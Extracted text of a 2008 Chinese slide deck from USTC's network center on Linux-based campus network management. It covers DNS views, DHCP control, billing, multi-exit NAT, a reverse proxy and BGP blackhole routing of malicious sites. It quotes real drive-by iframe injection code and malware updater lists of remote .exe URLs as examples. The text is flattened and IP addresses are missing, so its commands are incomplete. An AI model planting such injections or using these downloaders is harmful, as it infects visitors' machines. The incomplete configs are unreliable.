Linux系统在科大校园网管理中的应用

Linux系统

在科大校园网管理中的应用张焕杰email/msn:james@中国科学技术大学网络信息中心2008-11-82024/8/201Linux系统在科大校园网管理中的应用主要内容中国科大校园网络历史与现状网络基础设施网络管理系统网络服务KD-50-I基于龙芯2F的万亿次高性能机2024/8/202Linux系统在科大校园网管理中的应用中国科大校园网络的发展历史1993年开始规划1994年建成FDDI主干的校园网6台FDDI路由器，24个10M子网1995年连接中国教育和科研网CERNET1999年连接ChinaNET2000年改造为千兆以太网主干2005年改造为万兆主干，全面支持IPv62024/8/203Linux系统在科大校园网管理中的应用10GCERNET西区核心节点网络信息中心东校区西校区南校区服务器群超级计算平台CNCNET中国科学技术大学校园网络主干及出口示意图1G200M1G600MCERNET2CHINANET教三楼生命科学学院加速器计算机科学系信息学院火灾科学实验室高性能计算中心图书馆西区活动中心力三楼力二楼力一楼南区教学楼南区办公楼MBA中心软件学院南区图书馆南区实验楼南区学生宿舍防火墙防火墙防火墙防火墙西区学生宿舍力四楼南区汇聚节点东区学生宿舍行政办公楼理化中心大楼理化一号楼大礼堂微尺度物理楼数学楼教一楼教二楼化学楼艺术楼出版社东区活动中心继续教育学院电四楼电子工程与信息系10G科研楼东区核心节点网络中心核心节点计算中心汇聚节点校园无线网覆盖2024/8/204Linux系统在科大校园网管理中的应用中国科大校园网现状万兆主干，支持IPv4、IPv63台核心交换机处理3层路由其他设备当作2层交换机使用IPv4/IPv6双栈通过VRF-lite(VPNRoutingandForwardingLite)支持2个IP地址空间4个出口CERNET/CERNET2电信/网通从CNNIC申请了16C地址以利用电信出口2024/8/205Linux系统在科大校园网管理中的应用中国科大校园网现状校园网上看到的校内计算机数1天内活动的，12000台7天内活动的，16000台安装IPv6协议的机器数1天内活动的，1200台7天内活动的，2000台是CERNET合肥主节点，CERNET2合肥节点，同时也是安徽省教育科研网中心2024/8/206Linux系统在科大校园网管理中的应用1天内活动的IPv4机器数2024/8/207Linux系统在科大校园网管理中的应用校园网”网络天气图”2024/8/208Linux系统在科大校园网管理中的应用科大校园网络提供的服务随时随地的高带宽网络接入服务全校使用DHCP自动分配IP地址IPv4/IPv6双栈多种网络应用服务多达1G的邮件/主页VOD等Internet应用电子校务等业务系统对个人用户，网络费用的分担以包月方式灵活方便的“网络通”服务2024/8/209Linux系统在科大校园网管理中的应用安徽省教育科研网络主干示意图芜湖市安徽师范大学安庆市安庆师范学院铜陵市铜陵学院池州市池州学院黄山市黄山学院宣城市宣城职业技术学院马鞍山市安徽工业大学巢湖市巢湖学院蚌埠市安徽财经大学宿州市宿州学院淮北市淮北煤炭师范学院亳州市亳州职业技术学院阜阳市阜阳师范学院CERNET武汉南京2.5G155M155MSDH南环9个市共享155MSDH北环7个市共享合肥市安徽农业大学安徽医科大学安徽建工学院三联职业技术学院安徽考试院合肥工业大学合肥师范学院安徽新华学院安徽经济管理学院安徽电教馆安徽教育厅安徽中医学院合肥学院电子工程学院安徽大学淮南市安徽理工大学滁州市滁州学院六安市皖西学院中国科学技术大学省网中心2024/8/2010Linux系统在科大校园网管理中的应用合肥中心节点网络天气图2024/8/2011Linux系统在科大校园网管理中的应用安徽省教育科研网主干155M环网2024/8/2012Linux系统在科大校园网管理中的应用校园网络管理理念开放的校园网络只要是支持TCP/IP的系统，都能接入应用只要不违反法律法规，不影响网络运行，都应该支持以用户为中心接入方式多，满足各种用户需要方便使用，尽量少设置障碍，让用网络像用电用水一样方便网络资源用足、用透2024/8/2013Linux系统在科大校园网管理中的应用2024/8/2014Linux系统在科大校园网管理中的应用2024/8/2015Linux系统在科大校园网管理中的应用2024/8/2016Linux系统在科大校园网管理中的应用网络基础设施DNSDHCP认证/计费网络通出口控制学生宿舍计费控制WWW/反向代理VPN接入2024/8/2017Linux系统在科大校园网管理中的应用DNS服务网络最基本服务RedHatEnterpriseLinuxASrelease4Bind9.2.4特点：3个view，分别对应CERNET、电信、其他部分的用户，各自查询的结果是不同IP，如，分别对应682024/8/2018Linux系统在科大校园网管理中的应用DHCP服务全校范围内使用DHCP方式分配IPv4地址DHCP并不是为了节省IP地址，而是为了方便用户优点方便用户，尤其是对移动用户管理简单缺点稳定性不高一旦私设DHCPServer，会引起混乱，根据实际运行的经验，这种情况经常出现2024/8/2019Linux系统在科大校园网管理中的应用DHCPServer使用Linux下的DHCPServerDHCPServer的行为由配置文件控制Linux下由程序生成配置文件，以此控制DHCPServer的行为Linux下的DHCPServer支持shared-network，即一个物理网段可以有多个IP网段如，某个子网，原来为/，后来机器多了，IP地址不够用，可以增加/，原有的机器不需要修改2024/8/2020Linux系统在科大校园网管理中的应用对DHCPServer的控制自动将一些静态IP地址从DHCP地址池中排除校内主要使用DHCP分配IP，也可以静态设定IP地址。一旦向网络信息中心申请某个IP地址静态设定，设定的IP地址要从地址池中自动排除做法是定时（每隔10分钟）从数据库中读出配置信息，读出静态IP地址信息，自动产生配置文件，重新启动DHCPServer2024/8/2021Linux系统在科大校园网管理中的应用对DHCPServer的控制将一些用户私自设立的静态IP地址排除对于私自设立的静态IP地址，也要排除为了避免IP地址冲突，DHCP在分配一个IP地址给用户的时候，会先ping一下，如果能ping通，说明已经在用，不会分配该IP。由于很多机器设立了个人防火墙，现在ping的结果已经不可靠，这种工作方式经常会产生IP地址冲突我们的做法是通过snmp协议，收集3层交换机上的ARP表（即IP-MAC对应表）信息，一旦发现某个不是DHCP分配的IP对应有MAC地址信息，即从地址池中排除该IP2天2024/8/2022Linux系统在科大校园网管理中的应用DHCP系统的监控除了定期检查是否有DHCP_NAK消息判断是否有私设的DHCPServer外，还应该对DHCPServer的工作状态进行监视，尤其要关注IP地址池中IP地址的利用率通过分析DHCPServer的IP地址分配记录，结合固定的IP地址，用户私设的IP地址，统计出各个网段的IP地址利用率2024/8/2023Linux系统在科大校园网管理中的应用2024/8/2024Linux系统在科大校园网管理中的应用认证/计费2个数据库1个sybase，存放帐务信息1个mysql，存放帐号信息，从sybase同步数据Mysql结构基于freeradius，增加了一些字段Freeradius提供2个认证入口PPP电话拨号radius认证VPNradius认证网络通的web界面则直接访问mysql数据库2024/8/2025Linux系统在科大校园网管理中的应用网络通出口控制介绍“网络通”服务利用一个用户名和密码，具有如下功能：校内无线接入拨号接入90路拨号系统满足校内家属区用户使用VPN接入2个出口/2种类型的VPN接入服务PPTP/OpenVPN，均提供电信/网通上用户的接入灵活的对外访问服务用户从校内可以自由选择多种出口组合对外访问2024/8/2026Linux系统在科大校园网管理中的应用出口管理网络费用分担的需要缓解带宽有限与需求无限的矛盾1%的用户使用超过10%的带宽10%的用户使用超过50%的带宽P2P应用普及，更是极大地放大了用户的需求如何有效利用多个出口个人用户与集团用户的统一考虑集团用户：很多实验室建立子网，通过地址转换设备连接到校园网2024/8/2027Linux系统在科大校园网管理中的应用出口Web登录认证是“网络通”服务的主要组成部分用户自主选择教育网、电信、网通出口的组合来访问校外网络采用包月制按照连接数付费的计费原则，集团用户可以按照用户规模的大小，选择更多的连接数所有校内用户，包括VPN连进来的用户，都可以使用2024/8/2028Linux系统在科大校园网管理中的应用2024/8/2029Linux系统在科大校园网管理中的应用2024/8/2030Linux系统在科大校园网管理中的应用网络通原理教育网出口Linux机器校内网络电信出口NAT1网通出口NAT电信出口NAT2电信出口NAT3Linux机器完成认证、策略路由抓包分析Linux机器2024/8/2031Linux系统在科大校园网管理中的应用内部的一种数据结构100101102100….100101102100….100101102100….长度256*32长度256*16长度256*16一个数组存放校内的IP段信息每段有个数组存放该段的策略信息修改路由时查找规则表的处理过程，利用以上结构来查2024/8/2032Linux系统在科大校园网管理中的应用用户TCP连接数限制采用限制用户TCP连接数的方式来限制P2P应用占用的带宽目前采用旁路控制程序隔2分钟抓包分析，对于超限制的或有DoS攻击异常行为（比如出去的数据包远远多于进来的）的IP直接从Web登录上踢下去，并发消息给用户提示用户可以通过多缴费增加连接数限制，方便大的实验室共享上网，这在学校里非常普遍抓包的内容放在数据库中，方便掌握流量异常记录2024/8/2033Linux系统在科大校园网管理中的应用学生宿舍计费控制采用直接控制交换机端口开、关的方式数据库中记录宿舍信息点和交换机端口的对应信息通过snmp协议控制交换机对应接口的Adminstatus，如果Adminstatus设置为enable，信息点开通，如果设置为disable，信息点禁用以上控制对用户完全透明，只要信息点缴费后开通，用户用起来跟在校内其他地方一样使用net-snmp来控制2024/8/2034Linux系统在科大校园网管理中的应用WWW/反向代理公网对校内的各种服务器访问速度经常不理想既然有多个出口，应该充分利用这些出口，来提高外网用户对服务器的访问速度两个问题需要解决如何通过DNS服务器的设置，把外网用户对服务器的解析分散到不同的IP上如何解决外网用户访问多个IP地址对同一个服务器的访问2024/8/2035Linux系统在科大校园网管理中的应用外网对服务器访问的优化利用Linux下DNS服务器bind，针对不同区域（运营商）的IP设置多个view不同来源的IP，查询同一个域名返回不同出口的IP地址CERNET

IP查询返回CERNETIP电信IP查询返回电信IP其他查询返回网通IP做法可以googlebindview2024/8/2036Linux系统在科大校园网管理中的应用外网对服务器访问的优化基本原则：任何外网都能正常访问服务器对应的任何一个IP，最多是速度不同。多个IP地址对同一个服务器的访问服务器多网卡设置多个IP地址，利用服务器的策略路由功能实现，只能在Linux上使用，适合流量大的服务器专门的地址转换设备，利用地址转换实现，适合小规模的校园网设立反向代理服务器或7层交换机实现，适用面广，使用方便我们使用Nginx作为反向代理，设置3个IP地址，用来对上百个校内网站进行反向代理。Nginx处理的连接数比squid高1个量级，CPU占用低1个量级。通过以上设置，外部用户对服务器的访问速度有非常明显的提高2024/8/2037Linux系统在科大校园网管理中的应用服务器多IP策略路由的设置ip

addradd0/25deveth0iprouteadd0/0via26table100vconfigaddeth010ipaddadd0/25deveth0.10iprouteadd0/0via26table101iprouteadd/19via26table99ipruleaddfrom0/0table99pref90ipruleaddfrom0table101pref100ipruleaddfrom0table100pref1012024/8/2038Linux系统在科大校园网管理中的应用反向代理工作示意图电信其它CERNETDNS反向代理WWW1WWW2WWW3121.DNS查询2.HTTP访问2024/8/2039Linux系统在科大校园网管理中的应用Nginx统计2024/8/2040Linux系统在科大校园网管理中的应用VPN接入PPTP与OpenVPN两种VPN，CERNET、电信、网通接入点PPTP以前基于Windows，现在改为基于LinuxOpenVPN基于Linux，采用桥接方式，直接支持IPv6均使用radius协议认证，并记录下使用者的公网IP和分配的校园网IP等日志信息2024/8/2041Linux系统在科大校园网管理中的应用网络管理系统配置文件管理环境监视、短信报警流量监视恶意网站的封堵2024/8/2042Linux系统在科大校园网管理中的应用配置文件管理rancid每天凌晨把关键网络设备的信息,包括硬件信息\配置信息取回来,存放到cvs里并把diff的结果mail给管理员这样可以方便的跟踪配置修改历史2024/8/2043Linux系统在科大校园网管理中的应用环境监视、短信报警设备太多，无专人值班设立各种设备服务监视的短信报警系统Linux下，基于smstools开发，通过写脚本来扩展监视的对象对环境状况、UPS状况、设备通断、服务正常与否等信息自动监视分类型、分时段发短信给不同的管理员2024/8/2044Linux系统在科大校园网管理中的应用流量监视长期流量趋势监视MRTG、cacti等，原理是利用snmp协议读取设备的统计信息，计算出流量等信息当前流量直观显示网络天气图瞬间流量记录把统计连接数的抓包结果，整理后，每隔20分钟保存在数据库中记录有每个IP在抓包瞬间的流量统计2024/8/2045Linux系统在科大校园网管理中的应用2024/8/2046Linux系统在科大校园网管理中的应用2024/8/2047Linux系统在科大校园网管理中的应用2024/8/2048Linux系统在科大校园网管理中的应用2024/8/2049Linux系统在科大校园网管理中的应用恶意网站对校园网的影响恶意网站内容不合法的反动、黄色网站网络钓鱼网站最常见的qq中奖、taobao中奖、msn钓鱼等网站，目的是骗取用户名和密码传播病毒、木马等恶意程序的网站是大部分ARP攻击的直接或间接源头直接影响校园网的正常运行2024/8/2050Linux系统在科大校园网管理中的应用恶意网站的实例内嵌恶意代码的网站浏览器访问时，如果存在漏洞，会自动下载木马软件等恶意软件，在用户后台执行通常利用flash、realplayer、windows下的漏洞这些网站往往会被嵌入到正常的网站上，俗称被“挂马”恶意代码中转站为了帮助木马程序的更新，设立一些下载网站，木马程序启动后，自动下载最新的程序代码2024/8/2051Linux系统在科大校园网管理中的应用一个“挂马”例子深圳职业技术学院汽车与交通学院http:///ReadNews.asp?NewsID=809这个网页中有下面一段代码<scriptsrc=/1.js>1.js内容是<iframe

src=/a0076159/a07.htmwidth=100height=0></iframe>/a0076159/a07.htm的内容是<iframewidth=100height=0src=new.html></iframe>new.html是利用几个媒体播放漏洞下载恶意软件的代码2024/8/2052Linux系统在科大校园网管理中的应用一个网站被挂了多个“马”LogisgeneratedbyFreShow.

[wide]/

[script]/include/javascript/common.js

[frame]/b7.htm?a023

[frame]/flash.htm

[frame]/14.htm

[frame]/office.htm

[frame]/lz.htm

[frame]/re10.htm

[frame]/re11.htm

[frame]/fs/7.htm

[frame]/a192/fxx.htm

[frame]/a192/fx.htm

[frame]/a192/ilink.html

[frame]/a192/flink.html

[frame]/a192/ss.html

[frame]/a192/ms06014.htm

[frame]/a192/GLWORLD.html

[frame]/sina.htm

[frame]/UU.htm

[frame]/a192/Thunder.html

[frame]/a192/real.htm

[frame]/a192/Real.html2024/8/2053Linux系统在科大校园网管理中的应用恶意代码中转站感染病毒的机器会下载/1234.txt

这个文件内容是

[oo]

c0=http://1.111991.net/0.exe

c1=http://1.111991.net/1.exe

c2=http://1.111991.net/2.exe

c3=http://1.111991.net/3.exe

c4=http://1.111991.net/4.exe

c5=http://1.111991.net/5.exe

c6=http://1.111991.net/6.exe

c7=http://1.111991.net/7.exe

c8=http://1.111991.net/8.exe

c9=http://1.111991.net/9.exe

2008年5月5日开始关注类似的访问序列2024/8/2054Linux系统在科大校园网管理中的应用恶意代码中转站(2)/0808xo.html内容是：2008-09-17/mma/1.exe2008-09-15/mma/2.exe2008-09-20/mma/3.exe2008-09-21/mma/4.exe2008-09-23/mma/5.exe2008-09-21/mma/6.exe2008-09-12/mma/7.exe2008-09-13/mma/8.exe2008-08-08/mma/9.exe2024/8/2055Linux系统在科大校园网管理中的应用2024/8/2056Linux系统在科大校园网管理中的应用2024/8/2057Linux系统在科大校园网管理中的应用恶意代码中转站（3）/dz.asp内容是[update]date=20080923[file]isfile=1count=28url1=/ma/cw01.exemark1=aaurl2=/ma/cw02.exemark2=bburl3=/ma/cw03.exemark3=ccurl4=/ma/cw04.exe2024/8/2058Linux系统在科大校园网管理中的应用2024/8/2059Linux系统在科大校园网管理中的应用恶意代码中转站（4）http:///mm.txt内容是[oo]c0=08/new/new1.exec1=08/new/new2.exec2=08/new/new3.exec3=08/new/new4.exec4=08/new/new5.exec5=08/new/new6.exec6=08/new/new7.exe2024/8/2060Linux系统在科大校园网管理中的应用获取以上信息的方式某些论坛，如

/bbs/forum-31-1.html

/forumdisplay.php?fid=22http:///report.asp从校园网对外访问的日志中分析如果计算机有ARP攻击行为，可以查找该IP在有ARP攻击行为前的日志查找访问较明显序列的日志，如1.exe2.exe3.exe用户报告发现可疑的下载，可以把文件提交给

/

测试，检查是否是恶意软件2024/8/2061Linux系统在科大校园网管理中的应用恶意网站的一般封堵方法客户端封堵某些浏览器或个人防火墙在访问恶意网站的时候，会给出提示，并阻挡访问校园出口封锁防火墙检测到下载恶意软件时可以阻挡IPS入侵防御系统可以阻断管理员手工增加黑名单路由，更新复杂，维护成本高网络主干封锁增加黑名单路由，发往这些地方的数据包被丢弃教育网主干增加了约150条黑名单路由，禁止对这些IP的访问但由于大部分学校都用其他出口，因此封堵效果一般2024/8/2062Linux系统在科大校园网管理中的应用教育网主干网黑名单路由例子hef1-bgw>showiproute|incB9[200/70]via,2d11hB96[200/70]via,2d11hB19[200/70]via,2d11hB36[200/70]via,2d11hB36/32[200/70]via,2d11hB04/32[200/70]via,2d11hB89/32[200/70]via,2d11hB13/32[200/70]via,2d11hB32[200/70]via,2d11hB34/32[200/70]via,2d11hB3/32[200/70]via,2d11h2024/8/2063Linux系统在科大校园网管理中的应用在路由器上封锁IP的方式首先在路由器上增加null0路由iproute55null0把要封锁IP的下一跳设置为,如要封锁3直接增加静态路由

iproute355

需要在所有路由器上增加利用BGP注入路由（远程触发黑洞路由，Remote-TriggeredBlackHoleRouting

）在一个触发路由器上增加，利用BGP广播给其他路由器做法可以参考/3c6vl7

（WormMitigationTechnicalDetails

）2024/8/2064Linux系统在科大校园网管理中的应用触发路由器设置routerbgp999...redistributestaticroute-mapSTATIC-TO-BGP...route-mapSTATIC-TO-BGPpermit10matchtag66setipnext-hopsetcommunityno-export999:000setoriginigp

route-mapSTATIC-TO-BGPpermit20...iproute355Null0Tag662024/8/2065Linux系统在科大校园网管理中的应用远程触发黑洞路由优缺点优点在一台触发路由器上配置，自动广播到其他路由器，使用方便数据包是在最近的路由器上丢弃缺点手工修改配置比较麻烦无法有效的跟踪相关信息(如：什么时候增加的，增加的原因)无法自动删除黑名单，必须要手工删除总之，管理员比较辛苦2024/8/2066Linux系统在科大校园网管理中的应用利用BGP协议的自动封堵方法黑名单信息存放在数据库中黑名单信息管理方式管理员通过Web界面添加/删除黑名单程序与入侵检测系统自动进行添加/删除管理员在添加时可以设置有效期，到期后自动删除通过一个简单的BGP客户端，把数据库里的黑名单信息发送给路由器剩下的操作与传统远程触发黑洞路由完全一样2024/8/2067Linux系统在科大校园网管理中的应用路由服务器与接收黑名单的路由器配置WEB界面管理数据库路由服务器路由器BGP协议BGP协议备用路由服务器BGP协议2024/8/2068Linux系统在科大校园网管理中的应用路由器上的配置routerbgp64600nosynchronizationneighbor7remote-as64512neighbor7ebgp-multihop255neighbor41remote-as64512neighbor41ebgp-multihop255noauto-summaryiproute55Null0iproute755next_hopiproute4155next_hop注：64600是自治域号，随便使用一个号就可以7是路由服务器IP2024/8/2069Linux系统在科大校园网管理中的应用测试情况2008年7月开始在中国科大校园网使用这样方式来管理黑名单，2008年8月底，东北大学加入测试，2008年9月底，安徽两所大学加入测试，2008年10月，兰州大学、电子科大加入测试目前封锁了近500个IPhttp:///校内ARP攻击数量的变化情况，以中国科大为例之前每天都有，多的时候一天有10起以上现在很少，一周可能有1起，且大部分是外面带来的机器引起至今运行稳定节省了各个学校自己维护IP黑名单的精力2024/8/2070Linux系统在科大校园网管理中的应用Web界面（还在开发中）2024/8/2071Linux系统在科大校园网管理中的应用进一步发展扩大IP黑名单测试范围，让更多的学校参与测试尽快开发Web界面，让更多的人来管理黑名单，经过审核后生效，加快黑名单的更新过程，实现完备的黑名单管理开发一个蜜罐系统来处理用户对黑名单IP的访问，而不是目前简单丢弃的方式。通过该系统，可以告诉用户对黑名单IP的访问是有危害的，并且可以统计对不同黑名单IP的访问2024/8/2072